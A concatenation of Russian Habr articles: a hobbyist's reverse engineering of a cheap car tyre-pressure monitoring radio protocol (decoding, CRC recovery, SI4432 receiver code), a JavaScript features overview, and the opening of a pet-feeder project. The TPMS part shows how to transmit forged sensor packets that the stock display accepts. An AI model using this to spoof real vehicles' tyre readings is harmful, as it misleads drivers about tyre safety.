PPS. **Мы будем рады узнать ваше мнение об актуальности и возможных применениях этих новшеств!** | https://habr.com/ru/post/337180/ | null | ru | null |
# Исследование протокола системы контроля давления воздуха в шинах автомобиля (TPMS)
Система дистанционного контроля давления воздуха в шинах автомобиля (англ. аббревиатура **TPMS** — Tyre Pressure Monitoring System) предназначена для оперативного информирования пользователя о снижении давления в шинах и о критической температуре шин.
Датчики имеют внутреннее или внешнее исполнение. Внутренние устанавливаются внутрь покрышки бескамерного колеса, внешние навинчиваются на штуцер колеса. Колесо с внутренним датчиком на внешний вид совершенно идентично колесу без датчика. Такое колесо просто накачивать. Внешний датчик заметен, его можно украсть и при накачивании колеса его надо предварительно открутить. Также он подвергается влиянию атмосферных явлений.
Исследовать протокол работы системы TPMS меня побудила идея установить такую систему на детскую коляску для оперативного слежения за давлением в шинах.
*Рис.1. Внешний вид системы TPMS*
*Рис.2. Плата контроллера системы TPMS*
Просто так установить штатный приемный блок не было возможности, так как минимальное допустимое значение давления у него 1.1 Bar, а в детской коляске меньше. Поэтому модуль постоянно пищит, информируя о низком давлении в шинах. Почитать про разработку контроллера для [«Умной» детской коляски «Максимка»](https://habr.com/ru/post/516490), в которой как раз и применены результаты исследования, можно в моей статье [1].
Сбор информации о работе TPMS начал с поиска статей в Интернет. Но, к сожалению, информации мало. Да и она касается обычно штатных систем автомобилей, которые немного сложнее и много дороже. А мне надо было информацию о простой китайской дешевой системе. Какое-то минимальное понимание у меня сложилось, теперь надо было приступить к экспериментам.
Итак, вооружаемся USB-свистком DVB-тюнера, запускаем RTL-SDR и смотрим эфир. Датчики работают на частоте 433.92 МГц в модуляции FSK. Изначально я записывал эфир и потом вручную разбирал протокол. Тут начались сложности. Ранее сталкивался только с OOK-модуляцией. Там все просто. Здесь немного сложнее. Информация кодируется двумя частотами. Поэтому изучал примеры, теорию по модуляциям. Потом увидел как применяют программу URH-Universal Radio Hacker [2, 3]. Пробовал поставить, но на мою WinXP 32bit она не идет. Пришлось искать компьютер с win8 64bit и тогда программа установилась. Подробнее о ее работе можно почитать на сайте разработчика. URH-мне в чем-то облегчила процесс, т.к. она производит захват сигнала с эфира, отображает его осциллограммой и сразу декодирует в сырой цифровой вид как в двоичном, так и в hex-виде.
*Рис.3. Screenshot программы с захваченным кадром посылки TPMS*
Датчик шлет несколько посылок друг за другом за один сеанс. Период между сеансами может достигать минуты или даже более. Если случается тревожная ситуация, то датчик немедленно начинает слать пакеты данных. Звуковой файл посылки от датчика [8]. Пример одной посылки от датчика взятый из программы URH:
```
010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101011001100110100110101001011001011010011010100110101001100101010101011010010101010101010110101001011001101010010101100101101001010101011001011001100110101001
```
В шестнадцатиричном виде эта посылка примет вид:
```
5555555555555555555555555555555555555555555555555555555555555555555556669a965a6a6a6555a5555a966a565a556599a9
```
Видно было что все 4 посылки за одну сессию имели одни и те же данные, а значит пакет принялся верно и можно приступать к его анализу.
На примере выше видно преамбулу (последовательность 01010101….), потом идут данные. Почитав Интернет, понимаем, что перед нами посылка, закодированная кодировкой Манчестер (G. E. Thomas). Каждый бит кодируется двумя битами 01 или 10. Я изначально кодировал вручную, тем самым, закрепляя теорию кодирования/декодирования. Но потом решил обратиться к онлайн декодировщику [4,5,6] что очень ускорило процесс.
Итак, декодировав исходную посылку от датчика кодом Манчестер, получим
```
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101101110010011011101110100000011000000001110010111000100110000010010101110
```
Первые 136 нулей это преамбула, ее можно отбросить. Нас интересуют только данные.
Переведя их в шестнадцатиричный вид, получим: 0x15B937740C03971304AE
Это уже есть красивые исходные данные, в которых где-то кроется идентификатор, давление в шинах и температура.
Для дальнейшего исследования необходимо набрать статистику данных. Для этого я накрутил один датчик к колесу и захватывал эфир, параллельно записывая что показывает оригинальное табло системы. Спускал давление, накачивал, клал колесо в морозилку для отрицательной температуры, нагревал. Потом добивался тех же условий для другого датчика, чтобы выяснить байты температуры и давления.
Вся посылка занимает 10 байт. Если выстроить полученные декодированные данные в столбец, то видно постоянные данные и изменяющиеся.
```
15B937740C03971304AE
15B937740C03A1FC00A4
15B937740C03A700087B
```
На датчиках на корпусе имеется наклейки. На каждом датчике разные: 0A, 1B, 2C, 3D.
Стереотипность мышления тут сыграло не на пользу. Я подумал что это и есть ID-датчика.
Засомневался, почему ID занимает всего 1 байт, но потом забыл про это и пытался в потоке искать эти идентификаторы. Потом в меню оригинального приемника системы увидел что к этому приемнику можно привязывать другие датчики, а сам приемник показывает идентификатор датчика на каждом колесе. И, о чудо, обнаружил что датчик четвертого колеса имеет ID=3774.
```
15B937740C03971304AE
```
Значит 3-й и 4-й байты посылки это идентификатор колеса. Сравнил с другими датчиками и также идентификаторы совпали с теми что отображает штатная панель.
1-й байт я посчитал за префикс начала данных, а 2-й байт как идентификатор подсистемы TPMS.
Ниже привел для сравнения посылки от разных датчиков.
`15B9F3FA2300BE1B007B` Датчик 0A ID=0xF3FA
`15B91AA43201B71B002A` Датчик 1B ID=0x1AA4
`15B9ABFF32027B1B029B` Датчик 2C ID=0xABFF
`15B937740C03971304AE` Датчик 3D ID=0x3774
И понял что надписи на датчиках (0A, 1B, 2C, 3D) это всего лишь нумерация колес в цифровом виде и в буквенном, а не шестнадцатиричный идентификатор колеса. Но, тем не менее, 6-й байт в посылке очень сходится с порядковым номером датчика. Для себя сделал вывод что это идентификатор колеса. А значит, еще один байт декодирован.
Последний байт, скорее всего, контрольная сумма, которую пока не знаю как считать. Это для меня оставалось загадкой до последнего.
Следующий декодированный байт это температура колеса. Тут повезло. Температура занимает 1 байт и представлена в целых градусах. Отрицательная температура в дополнительном коде. Значит в байт уместится температура -127…128 градусов Цельсия.
В нашей посылке температура это 8-й байт
`15B9F3FA2300BE1B007B` 0x1B соответствует +27 градусам
`15B937740C03A1FC00A4` 0xFC соответствует -4 градусам
Осталось три нераспознанных байта 5-й, 7-й, 9-й. Судя по динамике изменения давление в шинах скрывается в 7 байта, а в 9-ом байте, скорее всего, статусные биты датчика. По разным источникам информации в Интернет, а также по функционалу моей системы TPMS там должен быть бит разряженной батареи, бит быстрой потери давления и еще пару бит, которые не ясно для чего.
Итак, будем анализировать 7-й байт, т.к. подразумеваем, что давление прячется в нем.
Набрав статистику по разным датчикам с разным давлением, я не смог четко определить формулу, пересчитывающую давление. Да и не ясно в каких единицах по умолчанию датчик передает давление (Bar, PSI). В итоге таблица, построенная в Excel, не давала точное соответствие со штатным табло TPMS. Можно было бы пренебречь этой разницей в 0.1 Bar, но хотелось понятия протокола до последнего бита. Азарт брал верх.
Если не получается понять как формируется байт давления, то надо сделать эмулятор датчика давления и, меняя значение давления, смотреть что отображает штатная панель.
Оставалось выяснить назначение 5-го и 9-го байтов пакета, но они редко меняются, поэтому можно принять их значения как в оригинальном пакете, меняя только байт давления. Теперь вопрос только в расчете контрольной суммы. Без нее штатная панель проигнорирует мой пакет и ничего не покажет.
Для эмуляции датчика надо было передать пакет. Для этого у меня имелся трансивер SI4432 подключенный к PIC16F88, когда-то использовавшийся для других целей.
*Рис.4. Фото тестовой платы*
Воспользовавшись старыми наработками по передаче данных, я набросал программу для PIC, которая передает один из пакетов, принятых мною программой URH. Спустя некоторое время после включения передатчика панель отобразила данные что передал в нее! Но это готовый пакет с готовой CRC, а чтобы мне менять байт давления, надо и CRC пересчитывать.
Начал читать, искать информацию о том какие CRC используются, пробовал разные Xor, And и прочее, но ничего не получалось. Уже думал, что ничего не получится и придется довольствоваться давлением, которое получил по своей таблице, но немного не сходящееся с оригинальным табло. Но вот на просторах Интернет увидел статью про подбор CRC. Там была программа, которой даешь несколько пакетов, а она пытается подобрать контрольную сумму и, в случае успеха, выдает величину полинома и значение инициализации CRC. [7]
Задаем программе несколько пакетов:
```
reveng -w 8 -s 15B9ABFF3202AA1B0017 15B9ABFF3202AA1B0249 15B9F3FA2300D01A00D8 15B937740C037B130089 15B937740C03BD18025E 15B9ABFF32028F150834
```
Программа выдает:
```
width=8 poly=0x2f init=0x43 refin=false refout=false xorout=0x00 check=0x0c residue=0x00 name=(none)
```
Написал программу расчета CRC с учетом этих данных и прогнал по пакетам, что получил ранее – все сошлось!
```
// Считаю CRC для этого
crc=0x43; // Начальное значение для корректного расчета
for(j=0;j<9;j++)
{
crc ^= tmp[j];
for(i=0;i<8;i++)
crc=crc&0x80 ? (crc<<1)^0x2F : crc<<1; // Полином 0x2F для расчета корректной CRC
}
```
Руки чесались передать в эфир данные по давлению. Дополнив тестовую программу расчетом CRC, я передал первый пакет. Штатная панель приняла сигнал и отобразила давление и температуру. Небольшая проблема была в том, что штатная панель имела один разряд после запятой и, передавая значение в эфир, на экране отображалась всегда одно и тоже давление, т.к. остальные разряды были не видимы. Передавал значение байта 0..255. Но снова как-то не ясно. Оказалось, что давление 0.00 Bar начинается когда 7-й байт содержит значение 97. Не ясно почему так. Но зато далее с дискретностью 0,01 Bar все четко.
Байт P Давление, Bar
255 1,58
254 1,57
… …
107 0,10
106 0,09
105 0,08
104 0,07
103 0,06
102 0,05
101 0,04
100 0,03
99 0,02
98 0,01
97 0,00
Судя по таблице, максимальное давление, которое умещается в одном байте всего 1,58 Bar, но система позволяет замерять давление до 4 Атм. Значит где-то еще прячется 1 бит старшего разряда. Перебирать все байты и менять в них биты не было желания. Было найдено колесо от автомобиля, на него накручен датчик, произведен захват сигнала. Любопытство брало верх, я в уме делал ставки на то, в каком месте появится этот бит. И что это будет именно один бит, а не какая-то другая схема кодировки.
Декодировав пакет, я увидел этот бит. Он является 7-м битом 6-го байта. А значит, 6-й байт содержит не только номер колеса, но и старший бит давления в шинах.
`15B937740C833C18025C`
Старший бит от 0x83 и 0x3C дают 0x13C = 219 что соответствует давлению 2,19 Bar
Формула для пересчета давления в Bar: P=(ADC-97)/100,
Где ADC = (B7>>7)\*0x100+B6, где B6 и B7 это значение байта 6 и байта 7.
При значении 511 имеем максимальное давление 4,14 Bar. Также не ясно было почему планка в 4,14 Bar, но догадываюсь что это равно 4 Атм – максимального допустимого давления для датчика.
Осталось понять, за что отвечают статусные биты. Путем стравливания давления, подключения датчика к регулируемому блоку питания и, снижая напряжение, были получены биты. Остались не выясненными 2 бита. Может, есть и еще, но они не разу не принимали значение единицы за все время экспериментов.
Для упрощения анализа была написана программа [8]
*Рис.5. Внешний вид интерфейса программы для исследования пакетов TPMS*
В программу можно задать сырой пакет из программы URH в шестнадцатиричном виде и программа декодирует пакет, считает контрольную сумму и отображает данные в нормальных единицах температуры и давления.
Как-то полез снова в меню штатной панели и увидел что идентификатор датчика это не два байта, а четыре. Панель имеет большой и маленький индикаторы и я сразу не обратил внимание на то что 2-й и 5-й байты тоже входят в идентификатор датчика.
`15B937740C833C18025C`
Тем самым нераспознанным остается только 1-й байт, но он всегда 0x15 (0b010101), а это похоже на некую преамбулу пакета или идентификатора его начала.
Также не распознаны точно биты статуса, но тех, что есть хватает.
Любопытство узнать что внутри датчика брало верх и я разобрал один из них (рис.6)
*Рис.6. Датчик системы TPMS*
В основе лежит микросхема Infineon SP372 с небольшой обвязкой. Поиск документации именно этой микросхемы ничего не дал. Те, что нашел либо обзорные, либо рекламные. Так что выяснить про протокол не удалось. Но в статьях упоминается про то, что это программируемый контроллер, поэтому программа может быть любой. Поэтому не рискнул купить микросхему отдельно.
### Протокол
Теперь о приеме данных от датчика на трансивер SI4432. Изначально планировалось принимать сырые данные от SI4432, чтобы контроллер декодировал Манчестер и собирал байты. Но у данного трансивера есть функция обработки пакета. То есть для передачи можно настроить передатчик на нужную частоту, модуляцию, девиацию, задать длину преамбулу, кодировку, синхрослово, скорость потока, длину данных. Потом записать в буфер передатчика исходный пакет данных (например наш 15B937740C833C18025C) и запустить передачу. Трансивер сам сформирует пакет и выдаст его в эфир, соблюдая все заданные параметры, а контроллер в это время свободен для обработки другой информации.
В идеале хотелось получить от SI4432 пакетную обработку данных при приеме. Чтобы приемник принял пакет и сформировал прерывание о том, что пакет принят. Тогда контроллер просто читает буфер приема, в котором хранятся уже данные в чистом виде, тем самым освобождается процессорное время на другие функции.
Начал изучать настройку регистров для работы трансивера на прием. Это оказалось гораздо труднее, чем передать пакет. Тут надо хорошо знать теорию радиоприема, которой у меня нет. Для этого трансивера имеются таблицы расчета регистров в Excel, но они либо не работают из-за того, что Excel русский, либо урезанные. Также есть приложение от разработчика, но там тоже все не особо прозрачно. Перебрав много примеров и просмотрев расчетные таблицы, вручную считал значения регистров по документации.
Подключил на выход приемника логгер и захватывал эфир, смотря на то, что выдает приемник. В итоге удалось настроить фильтры приемника чтобы он пропустил мой пакет. Манипулировал со скоростью потока, бил в бубен. Теория, к сожалению, мне все же не ясна.
Для того чтобы приемник смог принять пакет данных, ему надо указать длину преамбулы, синхрослово, которое обязательно должно присутствовать, а также длину данных. Также можно чтобы приемник сам считал контрольную сумму, но в SI4432 алгоритм расчета не соответствует алгоритму CRC датчиков давления.
Обязательное присутствие синхрослова из двух байт могло омрачить идею приема пакета, но тут повезло, что посылка от датчика начинается на 0x15B9 (15B937740C833C18025C) и одинакова для всех датчиков. А значит, для синхрослова было задано 0x15B9. Длина пакета данных составляет 8 байт, анализ контрольной суммы отключен. Выставляем генерацию прерывания при приеме пакета и запускаем процедуру приема.
Когда приемник примет преамбулу, синхрослово 0x15B9 и 8 байт данных, то он выдаст прерывание основному контроллеру, который просто считает из буфера приемника 8 байт данных. Далее основной контроллер рассчитает контрольную сумму, сравнит ее и декодирует принятые данные. К счастью, все получилось, как было задумано!
*Рис.7. Фото штатного индикатора TPMS и дисплея «умной» коляски*
Далее приведу пример инициализации трансивера SI4432 на прием:
```
WriteSI4432(0x06, 0x05); // interrupt all disable
WriteSI4432(0x07, 0x01); // to ready mode
WriteSI4432(0x09, 0x7f); // cap = 12.5pf
WriteSI4432(0x0A, 0x06); // uC CLK: 1 MHz
WriteSI4432(0x73, 0x00); // no frequency offset
WriteSI4432(0x74, 0x00); // no frequency offset
WriteSI4432(0x75, 0x53); // 430-440MHz range
WriteSI4432(0x76, 0x62); // 0x621A-433.924 кГц
WriteSI4432(0x77, 0x1A); // младшая часть
WriteSI4432(0x79, 0x00); // no frequency hopping
WriteSI4432(0x7a, 0x00); // no frequency hopping
// Настройка регистров приемника для скорости 9090/2
WriteSI4432(0x1C, 0x81); // 01 IF Filter Bandwidth регистр
WriteSI4432(0x1D, 0x44); // 44 AFC Loop Gearshift Override регистр
WriteSI4432(0x1E, 0x0A); // 0A AFC Timing Control
WriteSI4432(0x1F, 0x05); // 00 Clock Recovery Gearshift Override
WriteSI4432(0x20, 0x28); // 64 Clock Recovery Oversampling Ratio регистр
WriteSI4432(0x21, 0xA0); // 01 Clock Recovery Offset 2 регистр
WriteSI4432(0x22, 0x18); // 47 Clock Recovery Offset 1 регистр
WriteSI4432(0x23, 0xD2); // AE Clock Recovery Offset 0 регистр
WriteSI4432(0x24, 0x08); // 12 Clock Recovery Timing Loop Gain 1 регистр
WriteSI4432(0x25, 0x19); // 8F Clock Recovery Timing Loop Gain 0 регистр
WriteSI4432(0x2A, 0x00); // 00 AFC Limiter регистр
WriteSI4432(0x69, 0x60); // 60 AGC Override 1
WriteSI4432(0x70, 0x26); // Кодирование Manchester, данные в инверсии
WriteSI4432(0x71, 0x22); // Модуляция FSK, FIFO
WriteSI4432(0x72, 31); // Девиация 31*625=19375 Гц (можно пробовать убрать в режиме приема)
WriteSI4432(0x34,10); // 10 - длина преамбулы в 4-битных ниблах
WriteSI4432(0x35,0x1A); // preambula threshold
WriteSI4432(0x36,0x15); // Синхрослово 3 равно 0x15
WriteSI4432(0x37,0xB9); // Синхрослово 2 равно 0xB9
WriteSI4432(0x27,0x2C); // RSSI
// Настройки заголовков
WriteSI4432(0x33, 0x0A); // fixpklen=1, Synchronization Word 3 and 2
WriteSI4432(0x32, 0x00); // Отключаю фильтрацию заголовков
WriteSI4432(0x30, 0x80); // Skip2ph, Enable Packet RX Handling=0 (можно попробовать убрать Skip2ph...)
WriteSI4432(0x3E, 0x08); // Длина принимаемых данных 8 байт
WriteSI4432(0x0B, 0x12); // настройка GPIO0 для включения режима передачи TX
WriteSI4432(0x0C, 0x15); // настройка GPIO1 для включения режима приема RX
// Сброс FIFO TX
WriteSI4432(0x08, 0x01);//запись 0x01 в Operating Function Control 2 регистр
WriteSI4432(0x08, 0x00);//запись 0x00 в Operating Function Control 2 регистр
// Сброс FIFO RX
WriteSI4432(0x08, 0x02);//запись 0x02 в Operating Function Control 2 регистр
WriteSI4432(0x08, 0x00);//запись 0x00 в Operating Function Control 2 регистр
//Отключение всех прерываний кроме: Прием преамбулы, Прием синхрослова, Прием пакета
WriteSI4432(0x05, 0x02); // Прерывание при приеме пакета
WriteSI4432(0x06, 0x00);
//Чтение регистров статусов прерываний, для очистки текущих прерываний и сброса NIRQ в лог. 1
SI4432_stat[0] = ReadSI4432(0x03);
SI4432_stat[1] = ReadSI4432(0x04);
WriteSI4432(0x07, 0x05); // Включаю ПРИЕМ эфира
```
Сам прием данных будет выглядеть так:
```
if (si_int) // Если пришло прерывание от приемника SI4432
{
//чтение статусных регистров для очистки флагов прерываний
SI4432_stat[0] = ReadSI4432(0x03);
SI4432_stat[1] = ReadSI4432(0x04);
SI4432_RSSI = ReadSI4432(0x26);
if (SI4432_stat[0]&0x02)
{
WriteSI4432(0x07, 0x01); // Завершаю прием. Тем самым можно потом продолжить.Если не завершить, то пакеты больше не примутся
SI4432_ReadFIFO(); // Читаю из FIFO 8 принятых байт
TPMS_Parsing(); // Проверка CRC и разбор данных
// Сброс FIFO
WriteSI4432(0x08, 0x02); // запись 0x02 в Operating Function Control 2 регистр
WriteSI4432(0x08, 0x00); // запись 0x00 в Operating Function Control 2 регистр
//WriteSI4432(0x07, 0x05); // Включаю ПРИЕМ эфира
}
else
{
// Сброс FIFO TX
WriteSI4432(0x08, 0x01);//запись 0x01 в Operating Function Control 2 регистр
WriteSI4432(0x08, 0x00);//запись 0x00 в Operating Function Control 2 регистр
// Сброс FIFO RX
WriteSI4432(0x08, 0x02);//запись 0x02 в Operating Function Control 2 регистр
WriteSI4432(0x08, 0x00);//запись 0x00 в Operating Function Control 2 регистр
}
if (SI4432_stat[0]&0x80)
{
// Сброс FIFO RX
WriteSI4432(0x08, 0x02);//запись 0x02 в Operating Function Control 2 регистр
WriteSI4432(0x08, 0x00);//запись 0x00 в Operating Function Control 2 регистр
}
WriteSI4432(0x07, 0x05); // Включаю ПРИЕМ эфира
si_int=0;
}
```
Функция SI4432\_ReadFIFO() просто читает 8 байт из буфера приемника, которые содержат данные от датчика.
Функция TPMS\_Parsing() производит анализ контрольной суммы и декодирует информацию в конечные единицы давления и температуры, а также статусную информацию.
**Проблемы**
1. Читая информацию про датчики, упоминалась синхронизация датчиков между собой. Зачем-то надо спаривать датчики, что-то было про скорость движения более 20 км/ч на протяжении 30 минут. Не ясно зачем это надо. Может быть это связано с моментом передачи информации, но это моя догадка.
2. Не выяснил до конца функции статусных битов датчика давления.
3. Не ясно про настройку трансивера SI4432 на прием, про скорость передачи с применением кодировки Манчестер. У меня работает, но осознания принципа пока нет.
### Результаты работы
Исследования, освещенные в данной статье, заняли около месяца свободного времени.
В результате работы по исследованию протокола работы системы контроля давления в шинах затронуты вопросы передачи и приема данных по эфиру, вкратце рассмотрены кодировки сигнала, опробован трансивер SI4432 на передачу и прием. Данная задача позволила интегрировать TPMS в основной проект «умной» детской коляски. Зная протокол обмена, можно подключить большее количество датчиков и интегрировать в свою разработку. Причем контролируемое давление может находиться в широких пределах, а не как в штатной системе 1.1-3.2 Bar, т.к. давление вне этого диапазона сопровождается тревожным писком системы штатного центрального блока. Также теперь TPMS можно применять для контроля давления в шинах мотоцикла, велосипеда или, например, надувного матраса. Останется лишь физически установить датчик и написать программу верхнего уровня.
### Ссылки
1. [«Умная» детская коляска «Максимка»](https://habr.com/ru/post/516490)
2. [github.com/jopohl/urh](https://github.com/jopohl/urh)
3. [habr.com/ru/company/neuronspace/blog/434634](https://habr.com/ru/company/neuronspace/blog/434634)
4. [www.rapidtables.com/convert/number/hex-to-binary.html](https://www.rapidtables.com/convert/number/hex-to-binary.html)
5. [www.rapidtables.com/convert/number/binary-to-hex.html](https://www.rapidtables.com/convert/number/binary-to-hex.html)
6. [eleif.net/manchester.html](https://eleif.net/manchester.html)
7. [hackaday.com/2019/06/27/reverse-engineering-cyclic-redundancy-codes](https://hackaday.com/2019/06/27/reverse-engineering-cyclic-redundancy-codes)
8. Мои утилиты, пример пакета, подбор CRC. Пароль архива «tPmSutiLity» [dropmefiles.com/MtS9W](https://dropmefiles.com/MtS9W)"
9. [i56578-swl.blogspot.com/2017/08/eavesdropping-wheels-close-look-at-tpms.html](http://i56578-swl.blogspot.com/2017/08/eavesdropping-wheels-close-look-at-tpms.html)
10. [www.rtl-sdr.com/tag/tpms](https://www.rtl-sdr.com/tag/tpms) | https://habr.com/ru/post/516460/ | null | ru | null |
# Возможности современного JavaScript, о которых вы могли не знать
Несмотря на то, что в последние семь лет я пишу на JavaScript почти каждый рабочий день, должен признаться, что уделяю мало внимания сообщениям о нововведениях от ES. Главные возможности вроде async/await и прокси — это одно, но ещё каждый год идёт поток мелких поэтапных изменений, которые не попадают в моё поле зрения, поскольку всегда находится что-то более важное для изучения.
В этой статье я собрал возможности современного JS, о которых мало говорили, когда они появились. Некоторые из них всего лишь повышают удобство, а некоторые невероятно практичны и могут сэкономить написание кучи кода.
ES2015
------
### Двоичные и восьмеричные литералы
В JavaScript не часто приходится пользоваться двоичным манипулированием. Но иногда возникают задачи, которые иначе не решить. Например, когда пишешь высокопроизводительный код для слабых устройств, втискиваешь биты в локальное хранилище, выполняешь пиксельные RGB-манипуляции в браузере или работаешь с тесно упакованными двоичными форматами данных.
Всё это может потребовать большого количества работы по скрытию/объединению двоичных чисел; мне всегда казалось, что их зря упрятали в десятичные. Именно для таких случаев в ES6 добавили формат двоичных литералов: `0b`.
```
const binaryZero = 0b0;
const binaryOne = 0b1;
const binary255 = 0b11111111;
const binaryLong = 0b111101011101101;
```
Это сильно упрощает работу с двоичными флагами:
```
// Pizza toppings
const olives = 0b0001;
const ham = 0b0010;
const pineapple = 0b0100;
const artechoke = 0b1000;
const pizza_ham_pineapple = pineapple | ham;
const pizza_four_seasons = olives | ham | artechoke;
```
То же самое и с восьмеричными числами. В мире JS это нишевая возможность, но организации сетевой работы и некоторых файловых форматах они используются часто. Вы можете писать восьмеричные числа с помощью синтаксиса `0o`.
### Number.isNaN()
Не путать с `window.isNaN()`, это новый метод с гораздо более интуитивным поведением.
У классического `isNaN` есть несколько интересных хитростей:
```
isNaN(NaN) === true
isNaN(null) === false
isNaN(undefined) === true
isNaN({}) === true
isNaN('0/0') === true
isNaN('hello') === true
```
Что нам это даёт? Во-первых, ни один из этих параметров на самом деле не является `NaN`. Как обычно, проблема во всеми «любимом» свойстве JavaScript: приведении типов. Аргументы для `window.isNaN` приведены к числам с помощью функции `Number`.
Эту проблему решает новый статический метод `Number.isNaN()`. Он раз и навсегда возвращает равенство аргументов, переданных ему и `NaN`. Это абсолютно однозначно:
```
Number.isNaN(NaN) === true
Number.isNaN(null) === false
Number.isNaN(undefined) === false
Number.isNaN({}) === false
Number.isNaN('0/0') === false
Number.isNaN('hello') === false
```
*Сигнатура:* `Number.isNaN : (value: any) => boolean`
ES2016
------
### Оператор возведение в степень
Время от времени такое случается, так что хорошо иметь под рукой литеральный синтаксис для возведения в степень:
```
2**2 === 4
3**2 === 9
3**3 === 27
```
Странно, но я был *уверен*, что в JavaScript такое уже есть. Возможно, спутал с Python.
### Array.prototype.includes()
Такое трудно было пропустить, но если в последние три года вы писали `array.indexOf(x) !== -1`, то возрадуйтесь новому методу `includes`:
```
[1, 2, 3].includes(2) === true
[1, 2, 3].includes(true) === false
```
`includes` использует [алгоритм Same Value Zero](https://www.ecma-international.org/ecma-262/7.0/#sec-samevaluezero), который почти идентичен проверке на строгое равенство (`===`), за исключением того, что может обрабатывать значения `NaN`. Этот алгоритм тоже сравнивает объекты по ссылкам, а не содержимому:
```
const object1 = {};
const object2 = {};
const array = [object1, 78, NaN];
array.includes(object1) === true
array.includes(object2) === false
array.includes(NaN) === true
```
`includes` может брать второй параметр, `fromIndex`, который позволяет вам предоставлять значение сдвига:
```
// positions 0 1 2 3 4
const array = [1, 1, 1, 2, 2];
array.includes(1, 2) === true
array.includes(1, 3) === false
```
Полезно.
*Сигнатура:* `Array.prototype.includes : (match: any, offset?: Int) => boolean`
ES2017
------
### Разделяемые память и атомарные операции
Это пара замечательных возможностей, которые просто бесценны, если нужно выполнить много работы с помощью веб-воркеров. Вы можете напрямую делиться памятью с несколькими процессами и задавать блокировки, чтобы избежать состояния гонки.
Это две большие возможности с довольно сложными API, так что здесь я их описывать не буду. За подробностями отправляю вас к этой статье: <https://www.sitepen.com/blog/the-return-of-sharedarraybuffers-and-atomics/>. Еще не все браузеры поддерживают эти функции, но надеюсь, что в ближайшие пару лет ситуация улучшится.
ES2018
------
### Золотая жила регулярных выражений
В ES2018 появилась целая россыпь новых возможностей регулярных выражений:
#### Lookbehind-сопоставления (сопоставление с предыдущими символами)
В тех средах исполнения, которые это поддерживают, вы теперь можете писать регулярные выражения, которые ищут символы *до того*, что вы сопоставляете. Например, чтобы найти все числа, перед которыми стоит знак доллара:
```
const regex = /(?<=\$)\d+/;
const text = 'This cost $400';
text.match(regex) === ['400']
```
Всё дело в новой lookbehind-группе, близнеце lookahead-групп:
```
Look ahead: (?=abc)
Look behind: (?<=abc)
Look ahead negative: (?!abc)
Look behind negative: (?
```
К сожалению, сегодня нельзя транспилировать новый lookbehind-синтаксис под старые браузеры, так что вполне возможно, какое-то время вы сможете использовать его только в Node.
#### Именованные группы захвата
Теперь регулярные выражения могут выбирать подвыборки и использовать для простого парсинга. До недавнего времени мы могли ссылаться на такие фрагменты только по числам, например:
```
const getNameParts = /(\w+)\s+(\w+)/g;
const name = "Weyland Smithers";
const subMatches = getNameParts.exec(name);
subMatches[1] === 'Weyland'
subMatches[2] === 'Smithers'
```
А теперь есть синтаксис присвоения имён этим подвыборкам (или группам записи): внутри скобок в начале ставим `?`, если хотим присвоить группе имя:
```
const getNameParts = /(?\w+)\s(?\w+)/g;
const name = "Weyland Smithers";
const subMatches = getNameParts.exec(name);
const {first, last} = subMatches.groups
first === 'Weyland'
last === 'Smithers'
```
К сожалению, сейчас это работает только в Chrome и Node.
#### Теперь точки могут отмечать новые строки
Нужно только проставлять флаг `/s`, например, `/someRegex./s`, `/anotherRegex./sg`.
ES2019
------
### Array.prototype.flat() и flatMap()
Я был очень рад увидеть это в MDN.
Попросту говоря, `flat()` преобразует многомерный массив в одномерный на заданную максимальную глубину (`depth`):
```
const multiDimensional = [
[1, 2, 3],
[4, 5, 6],
[7,[8,9]]
];
multiDimensional.flat(2) === [1, 2, 3, 4, 5, 6, 7, 8, 9]
```
`flatMap` — это `map`, за которым идёт `flat` с глубиной 1. Это полезно, если нужно мапить функцию, которая возвращает массив, но при этом вам не нужно, чтобы результат представлял собой вложенную структуру данных:
```
const texts = ["Hello,", "today I", "will", "use FlatMap"];
// with a plain map
const mapped = texts.map(text => text.split(' '));
mapped === ['Hello', ['today', 'I'], 'will', ['use', 'FlatMap']];
// with flatmap
const flatMapped = texts.flatMap(text => text.split(' '));
flatMapped === ['Hello', 'today', 'I', 'will', 'use', 'FlatMap'];
```
### Неограниченные перехваты
Теперь вы можете писать выражения try/catch без привязки к киданию ошибок:
```
try {
// something throws
} catch {
// don't have to do catch(e)
}
```
Кстати, перехваты, в которых вы не учитываете значение `e`, иногда называют *обработкой исключений-покемонов*. Потому что вы должны поймать их все!
### Методы обрезки строковых значений
Незначительно, но приятно:
```
const padded = ' Hello world ';
padded.trimStart() === 'Hello world ';
padded.trimEnd() === ' Hello world';
``` | https://habr.com/ru/post/473816/ | null | ru | null |
# Я запрограммировал кошачью кормушку, чтобы она выдавала мне конфеты за код
Я смеюсь над этой историей все выходные, так что не могу не поделиться. Засидевшись до поздней ночи на Amazon, я купил автокормушку для животных PetKit FreshElement Solo. У меня имелось две проблемы, с решением которых она могла мне помочь: во-первых, мне сложно было себя замотивировать на работу над побочным проектом, во-вторых, я всерьез подсел на миндаль в темном шоколаде с морской солью из Target. Раз уж я кодер-мартышка, так почему бы не подкормить внутреннюю мартышку, когда выдаю код?
Найти USB-механизм для раздачи сладостей мне не удалось (даже на thinkgeek заглянул – ничего похожего), поэтому я решил попробовать кошачью кормушку. Отличная вещь, а под катом я расскажу, какие шаги предпринять, чтобы получить такой же результат, как у меня.
Вот [тизер](https://giphy.com/gifs/ZhB7JUPMlTsdWnqIi0). Код лежит [здесь](https://github.com/morganpartee/pyPetKit/blob/master/run.py). Чтобы запустить самим, вам придется выбрать имя пользователя и пароль [по этой ссылке](https://github.com/morganpartee/pyPetKit/blob/master/settings.py).
### Обзор
REST API – это, по сути, язык, на котором говорит интернет. У большинства продуктов общение между устройством и сервером происходит посредством их. Мне попался старый фрагмент кода на Python, в котором уже была реализован процесс авторизации, так что было от чего оттолкнуться.
Я покопался в поисках API-запроса для кормления вручную, скопировал его на Python с помощью Requests и привязал скрипт к кнопке на своем контроллере для стриминга – она же отвечает за отправку коммита командой ctl+enter.
Есть и другие способы (причем получше) получить тот же результат – AWS, вебхуки, хуки в git (хуки в git – пожалуй, самый надежный вариант), но мне хотелось, чтобы система работала строго локально, чтобы конфеты не сыпались, если я уеду куда-нибудь. Нет смысла всё усложнять! В худшем случае забуду нажать на кнопку и съем меньше сладкого.
### Аппаратное обеспечение
